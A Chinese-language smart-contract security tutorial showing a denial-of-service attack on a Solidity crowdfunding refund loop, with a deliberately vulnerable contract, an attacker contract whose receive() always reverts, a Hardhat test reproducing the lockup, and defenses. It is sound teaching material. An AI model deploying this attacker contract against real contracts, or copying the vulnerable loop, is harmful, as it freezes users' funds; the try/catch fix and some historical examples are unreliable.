10分钟智能合约:进阶实战-6.4 使合约拒绝服务

欢迎订阅专栏10分钟智能合约:进阶实战

实战8:使合约拒绝服务 ------ 当"退款"成为永久锁仓

本实战将展示一种常见的拒绝服务(DoS)攻击手法:合约在执行退款或奖励分发的循环中,由于某个接收方地址(恶意合约)在接收 ETH 时主动 revert,导致整个交易回滚,从而阻塞所有后续用户的退款操作,造成资金永久锁定。我们将通过一个众筹退款合约,演示攻击者如何利用这一点使合约无法正常提供服务。


一、场景设定

我们有一个众筹退款合约:

  • 用户可以通过 contribute() 存入 ETH 参与众筹,并获得一个份额。
  • 如果众筹失败,管理员可以调用 refundAll() 将所有资金按贡献比例退还给所有参与者。
  • 退款采用循环遍历参与者列表,逐个发送 ETH 的方式。

漏洞 :如果某个参与者的地址是一个合约,并且在接收 ETH 时(receive())抛出异常(revert),那么整个 refundAll 事务会回滚,所有参与者的退款都无法完成,形成拒绝服务。

攻击者只需在项目启动时,以一个恶意合约地址参与众筹,即可在退款时瘫痪合约,导致资金被永远锁住(除非管理员采用其他手段,但合约中没有备用方案)。


二、漏洞合约(Crowdfunding.sol)

solidity 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Crowdfunding {
    address public owner;
    bool public goalReached;
    address[] public contributors;
    mapping(address => uint256) public contributions;
    uint256 public totalRaised;
    uint256 public goal;

    event Contributed(address indexed contributor, uint256 amount);
    event Refunded(address indexed contributor, uint256 amount);

    constructor(uint256 _goal) {
        owner = msg.sender;
        goal = _goal;
    }

    // 参与众筹
    function contribute() external payable {
        require(!goalReached, "Goal already reached");
        require(msg.value > 0, "Must send > 0 ETH");

        if (contributions[msg.sender] == 0) {
            contributors.push(msg.sender);
        }
        contributions[msg.sender] += msg.value;
        totalRaised += msg.value;
        emit Contributed(msg.sender, msg.value);

        if (totalRaised >= goal) {
            goalReached = true;
        }
    }

    // ❌ 漏洞退款函数:遍历列表逐个发送 ETH
    function refundAll() external {
        require(!goalReached, "Goal reached, no refund");
        require(msg.sender == owner, "Only owner");

        uint256 refundAmount;
        for (uint256 i = 0; i < contributors.length; i++) {
            address contributor = contributors[i];
            refundAmount = contributions[contributor];
            if (refundAmount > 0) {
                // 危险:若 contributor 是合约且 receive  revert,整个交易回滚
                (bool success, ) = contributor.call{value: refundAmount}("");
                require(success, "Refund failed");   // 导致循环中断并回滚
                contributions[contributor] = 0;
                emit Refunded(contributor, refundAmount);
            }
        }
        // 注意:这里没有清空 contributors,但状态已经修改,但由于回滚,一切都不会发生
    }

    // 获取参与者数量
    function getContributorsCount() external view returns (uint256) {
        return contributors.length;
    }

    // 获取合约余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

漏洞点

  • refundAll 循环调用 contributor.call{value: refundAmount}("")require(success)
  • 如果任何一个 contributor 地址是一个合约,且其 receive() 函数执行 revert(),则 successfalserequire 导致整个交易回滚。
  • 所有参与者的退款都依赖于这一轮循环,一旦失败,资金将无法取出。

三、攻击者合约(MaliciousReceiver.sol)

攻击者部署一个简单的恶意合约,其 receive() 函数总是 revert

solidity 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MaliciousReceiver {
    // 接收 ETH 时主动 revert
    receive() external payable {
        revert("I refuse to receive ETH");
    }

    // 也可以提供一个函数供攻击者调用
    function attack(address _crowdfunding) external payable {
        // 通过 contribute 参与众筹
        (bool success, ) = _crowdfunding.call{value: msg.value}(
            abi.encodeWithSignature("contribute()")
        );
        require(success, "Contribute failed");
    }
}

攻击流程

  1. 攻击者部署 MaliciousReceiver 合约。
  2. 攻击者调用 attack(crowdfundingAddress) 并附带 0.1 ETH,使得该恶意合约成为众筹参与者之一。
  3. 众筹未达到目标,管理员调用 refundAll()
  4. 循环遍历至恶意合约地址时,call 触发 receive(),后者 revert,导致 success = falserequire 失败,整个交易回滚。
  5. 所有其他参与者的退款均失败,资金被永远锁在合约中(除非修改合约,但已无法升级)。

四、实战操作(Hardhat + 测试脚本)

以下测试使用 Hardhat 模拟拒绝服务攻击。

javascript 复制代码
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("拒绝服务攻击(退款堵塞)", function () {
    let crowdfunding, malicious;
    let owner, attacker, user1, user2;

    const GOAL = ethers.utils.parseEther("10");

    beforeEach(async function () {
        [owner, attacker, user1, user2] = await ethers.getSigners();

        // 部署众筹合约,目标 10 ETH
        const Crowdfunding = await ethers.getContractFactory("Crowdfunding");
        crowdfunding = await Crowdfunding.deploy(GOAL);
        await crowdfunding.deployed();

        // 正常用户参与
        await crowdfunding.connect(user1).contribute({ value: ethers.utils.parseEther("3") });
        await crowdfunding.connect(user2).contribute({ value: ethers.utils.parseEther("4") });
        // 此时总筹集 7 ETH,未达标
    });

    it("攻击者通过恶意接收者阻止退款", async function () {
        // 1. 部署恶意合约
        const Malicious = await ethers.getContractFactory("MaliciousReceiver");
        malicious = await Malicious.connect(attacker).deploy();
        await malicious.deployed();

        // 2. 恶意合约参与众筹,发送 0.1 ETH
        await malicious.connect(attacker).attack(crowdfunding.address, {
            value: ethers.utils.parseEther("0.1"),
        });

        // 现在 contributors 列表包含:user1, user2, malicious
        const count = await crowdfunding.getContributorsCount();
        expect(count).to.equal(3);

        // 3. 管理员尝试退款,预期会失败
        await expect(
            crowdfunding.connect(owner).refundAll()
        ).to.be.revertedWith("Refund failed");

        // 4. 验证资金没有被转出,合约余额仍为 7.1 ETH
        const balance = await crowdfunding.getBalance();
        expect(balance).to.equal(ethers.utils.parseEther("7.1"));

        // 用户无法取回资金,合约被永久阻塞
        console.log("合约余额未减少,资金被锁");
    });
});

运行结果refundAll 抛出异常,所有退款失败,资金被永久锁定。


五、防御措施

方案一:采用"拉取支付"(Pull Payment)模式(推荐)

不要主动向用户发送 ETH,而是让用户自行提取。

solidity 复制代码
contract SecureCrowdfunding {
    mapping(address => uint256) public refunds;

    function requestRefund() external {
        uint256 amount = refunds[msg.sender];
        require(amount > 0, "No refund");
        refunds[msg.sender] = 0;
        payable(msg.sender).transfer(amount);
    }
}

这样即使恶意用户不提取,也不影响其他用户的提取。

方案二:使用 try/catch 处理外部调用失败

在 Solidity 0.6+ 中可以使用 try 语句捕获异常,跳过失败的用户。

solidity 复制代码
function refundAll() external {
    for (uint i = 0; i < contributors.length; i++) {
        address contributor = contributors[i];
        uint amount = contributions[contributor];
        if (amount > 0) {
            try payable(contributor).call{value: amount}("") {
                contributions[contributor] = 0;
            } catch {
                // 记录失败,但继续执行
                emit RefundFailed(contributor, amount);
            }
        }
    }
}

但要注意,如果失败用户很多,可能会消耗大量 gas,且状态管理复杂。

方案三:使用"委托转账"模式

将转账操作交给一个独立的提款合约,该合约由用户自己调用,不依赖循环。

方案四:限制可参与地址

要求参与者必须是 EOA(使用 tx.origin == msg.sender 或检查 extcodesize),但这并不完全可靠,且影响合约用户。


六、真实案例

  • Parity 多签钱包(2017):由于某个库合约被自毁,导致所有依赖它的钱包的转账功能被阻塞,形成 DoS。
  • King of the Ether:早期众筹合约因类似循环退款问题被攻击,导致资金被冻结。
  • 多次 ICO 退款事件:许多项目在退款时因为没有考虑拒绝服务攻击,导致用户无法取回资金。

七、总结

  • 拒绝服务攻击(DoS) 在智能合约中多表现为使关键函数永远失败,而非消耗计算资源。
  • 核心原因:依赖外部调用结果且要求全部成功,一旦某个调用失败,整个事务回滚。
  • 安全设计原则
    1. 避免主动推送资金,采用用户主动提取(Pull)模式。
    2. 如果必须推送,使用 try/catch 隔离失败。
    3. 限制参与者地址类型(但非绝对安全)。
  • 审计时,应检查所有涉及循环外部调用的函数,评估是否存在单点失败导致全局阻塞的风险。
相关推荐
Rockbean1 小时前
10分钟智能合约:进阶实战-6.3 重入攻击提取资金
web3·智能合约·solidity
木西2 天前
实战:基于 Solidity 0.8.27 与 OpenZeppelin V5 构建多链恶搞代币(以 SPX6900 为例)
web3·智能合约·solidity
2601_961963384 天前
Spring Boot集成电子签章的7个典型问题与解决方案:从入门到生产级实践
大数据·人工智能·spring boot·python·区块链·智能合约
Maimai108087 天前
Web3 前端交易系统如何落地:从下单 UI 到 Operation 编码、签名与实时状态更新
前端·react.js·ui·架构·前端框架·web3
Maimai108087 天前
Web3 前端实时通信如何落地:从 SSE 订阅到行情、订单与账户状态更新
前端·javascript·react.js·前端框架·web3·状态模式
用户887665426637 天前
Web3 前端实时通信如何落地:从 SSE 订阅到行情、订单与账户状态更新
前端·react.js·web3
Rockbean7 天前
10分钟智能合约:进阶实战-4.3 Delegatecall漏洞
web3·智能合约·solidity
2601_961963388 天前
技术解剖:哈希值、区块链与CA认证如何守护电子合同安全?
网络·人工智能·安全·区块链·智能合约·政务
2601_961963388 天前
从“电子化”到“自动化”:2026年智能合约与电子合同融合的技术逻辑与法律适配
网络·人工智能·区块链·智能合约·政务